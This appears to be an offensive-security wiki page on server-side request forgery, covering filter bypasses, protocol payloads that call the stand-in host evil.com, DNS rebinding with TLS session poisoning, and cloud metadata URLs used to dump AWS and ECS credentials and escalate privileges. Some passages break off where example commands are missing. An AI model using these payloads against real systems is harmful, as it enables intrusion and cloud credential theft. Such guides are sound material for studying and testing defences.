Server-side request forgery \(also known as SSRF\) is a web security vulnerability that allows an attacker to **induce the server-side application to make HTTP requests to an arbitrary domain** of the attacker's choosing. \(From [here](https://portswigger.net/web-security/ssrf)\)
## What you should try to do
* Accessing to **local files** \(file://\)
* Trying to access to **local IP**
* Local **IP bypass**
* **DNS spoofing** \(domains pointing to 127.0.0.1\)
* **DNS Rebinding** \(resolves to an IP and next time to a local IP: [http://rbnd.gl0.eu/dnsbin](http://rbnd.gl0.eu/dnsbin)\). This is useful to bypass configurations which resolves the given domain and check it against a white-list and then try to access it again \(as it has to resolve the domain again a different IP can be served by the DNS\). More [info here](https://geleta.eu/2019/my-first-ssrf-using-dns-rebinfing/).
* Trying to make an **internal assets discovery and internal port scan**.
* Accessing **private content** \(filtered by IP or only accessible locally, like _/admin_ path\).
### [More Domain format Bypasses](open-redirect.md#more-domain-bypasses)
### Bypass domain regexp
[**Go to the proposed bypasses for Referer header in CSRF**](csrf-cross-site-request-forgery.md#referer)\*\*\*\*
### Bypass via open redirect
If the server is correctly protected you could **bypass all the restrictions by exploiting an Open Redirect inside the web page**. Because the webpage will allow **SSRF to the same domain** and probably will **follow redirects**, you can exploit the **Open Redirect to make the server to access internal any resource**.
Read more here: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)
## SSRF via Referrer header
Some applications employ server-side analytics software that tracks visitors. This software often logs the Referrer header in requests, since this is of particular interest for tracking incoming links. Often the analytics software will actually visit any third-party URL that appears in the Referrer header. This is typically done to analyze the contents of referring sites, including the anchor text that is used in the incoming links. As a result, the Referer header often represents fruitful attack surface for SSRF vulnerabilities.
To discover this kind of "hidden" vulnerabilities you could use the plugin "**Collaborator Everywhere**" from Burp.
## Server browser enumeration
You can use applications like [http://webhook.site](http://webhook.site/) to find which browser is being used.
A network protocol used for secure file transfer over secure shell
```text
ssrf.php?url=sftp://evil.com:11111/
```
### TFTP://
Trivial File Transfer Protocol, works over UDP
```text
ssrf.php?url=tftp://evil.com:12346/TESTUDPPACKET
```
### LDAP://
Lightweight Directory Access Protocol. It is an application protocol used over an IP network to manage and access the distributed directory information service.
Using this protocol you can specify the **ip, port and bytes** you want the listener to **send**. Then, you can basically exploit a SSRF to **communicate with any TCP server** \(but you need to know how to talk to the service first\).
Fortunately, you can use [https://github.com/tarunkant/Gopherus](https://github.com/tarunkant/Gopherus) to already create payloads for several services.
From [https://twitter.com/har1sec/status/1182255952055164929](https://twitter.com/har1sec/status/1182255952055164929):
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy) ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH) on github, find subdomains
4. connect
### Exploiting PDFs Rendering
If the web page is automatically creating a PDF with some information you have provided, you can **insert some JS that will be executed by the PDF creator** itself \(the server\) while creating the PDF and you will be able to abuse a SSRF. [**Find more information here.**](xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)\*\*\*\*
### From SSRF to DoS
Create several sessions and try to download heavy files exploiting the SSRF from the sessions.
### Abusing DNS Rebidding + TLS Session ID/Session ticket
Requirements:
* **SSRF**
* **Outbound TLS sessions**
* **Stuff on local ports**
Attack:
1. Ask the user/bot **access** a **domain** controlled by the **attacker**
2. The **TTL** of the **DNS** is **0** sec \(so the victim will check the IP of the domain again soon\)
3. A **TLS connection** is created between the victim and the domain of the attacker. The attacker introduces the **payload inside** the **Session ID or Session Ticket**.
4. The **domain** will start an **infinite loop** of redirects against **himself**. The goal of this is to make the user/bot access the domain until it perform **again** a **DNS request** of the domain.
5. In the DNS request a **private IP** address is given **now** \(127.0.0.1 for example\)
6. The user/bot will try to **reestablish the TLS connection** and in order to do so it will **send** the **Session** ID/Ticket ID \(where the **payload** of the attacker was contained\). So congratulations you managed to ask the **user/bot attack himself**.
Note that during this attack, if you want to attack localhost:11211 \(_memcache_\) you need to make the victim establish the initial connection with www.attacker.com:11211 \(the **port must always be the same**\).
To **perform this attack you can use the tool**: [https://github.com/jmdx/TLS-poison/](https://github.com/jmdx/TLS-poison/)
For **more information** take a look to the talk where this attack is explained: [https://www.youtube.com/watch?v=qGpAJxfADjo&ab\_channel=DEFCONConference](https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference)
**Metadata** of the basic virtual machines from AWS \(called EC2\) can be retrieved from the VM accessing the url: `http://169.254.169.254` \([information about the metadata here](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)\).
The IP address 169.254.169.254 is a magic IP in the cloud world. AWS, Azure, Google, DigitalOcean and others use this to allow cloud resources to find out metadata about themselves. Some, such as Google, have additional constraints on the requests, such as requiring it to use `Metadata-Flavor: Google` as an HTTP header and refusing requests with an `X-Forwarded-For` header. **AWS has no constraints**.
Sending a GET requests to the following endpoint will **dump a list of roles** that are attached to the current EC2 instance:
If you want to access your S3 bucket you would normally hard-code your API keys into your application. Hard-coding clear text passwords is a bad idea. This is why you can assign your EC2 instance a role which can be used to access your S3 bucket. These credentials are automatically rotated by AWS and can be access thought the metadata API.
Once you get a list of roles attached to the EC2 instance you can **dump their credentials** by making a GET requests to the following URL:
As an example you can visit: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
You can then take **those credentials and use them with the AWS CLI**. This will allow you to do **anything that role has permissions** to do. If the role has improper permissions set \(Most likely\) you will be able to do all kinds of things, you might even be able to take over their entire cloud network.
To take advantage of the new credentials, you will need to crate a new AWS profile like this one:
Notice the **aws\_session\_token**, this is indispensable for the profile to work.
Information taken from: [http://ghostlulz.com/ssrf-aws-credentials/](http://ghostlulz.com/ssrf-aws-credentials/) \(read that post for further information\).
Another possible interesting place where you can find credentials is in[ http://169.254.169.254/user-data](%20http://169.254.169.254/user-data)
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) ****can be used with the discovered credentials to find out your privileges and try to escalate privileges
### SSRF in AWS ECS \(Container Service\) credentials
**ECS**, is a logical group of EC2 instances on which you can run an application without having to scale your own cluster management infrastructure because ECS manages that for you. If you manage to compromise service running in **ECS**, the **metadata endpoints change**.
If you access _**http://169.254.170.2/v2/credentials/<GUID>**_ you will find the credentials of the ECS machine. But first you need to **find the**_**<GUID>**_ . To find the <GUID> you need to read the **environ** variable _**AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI**_ inside the machine.
You could be able to read it exploiting an **Path Traversal** to _file:///proc/self/environ_
The mentioned http address should give you the **AccessKey, SecretKey and token**.
### SSRF URL for AWS Elastic Beanstalk <a id="6f97"></a>
We retrieve the `accountId` and `region` from the API.
Documentation available at [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
```text
curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq
```
### SSRF URL for Packetcloud <a id="2af0"></a>
Documentation available at [`https://metadata.packet.net/userdata`](https://metadata.packet.net/userdata)
### SSRF URL for Azure <a id="cea8"></a>
Limited, maybe more exists? [`https://azure.microsoft.com/en-us/blog/what-just-happened-to-my-vm-in-vm-metadata-service/`](https://azure.microsoft.com/en-us/blog/what-just-happened-to-my-vm-in-vm-metadata-service/)
Update Apr 2017, Azure has more support; requires the header “Metadata: true” [`https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service`](https://docs.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service)
The difference between a blind SSRF and a not blind one is that in the blind you cannot see the response of the SSRF request. Then, it is more difficult to exploit because you will be able to exploit only well-known vulnerabilities.
## Detect SSRF
You can use [https://github.com/teknogeek/ssrf-sheriff](https://github.com/teknogeek/ssrf-sheriff) to create an HTTP server that will respond correctly to a lot of different requests \(GET, POST, PTU, DELETE, JSON, TXT, GIF, MP3...\).
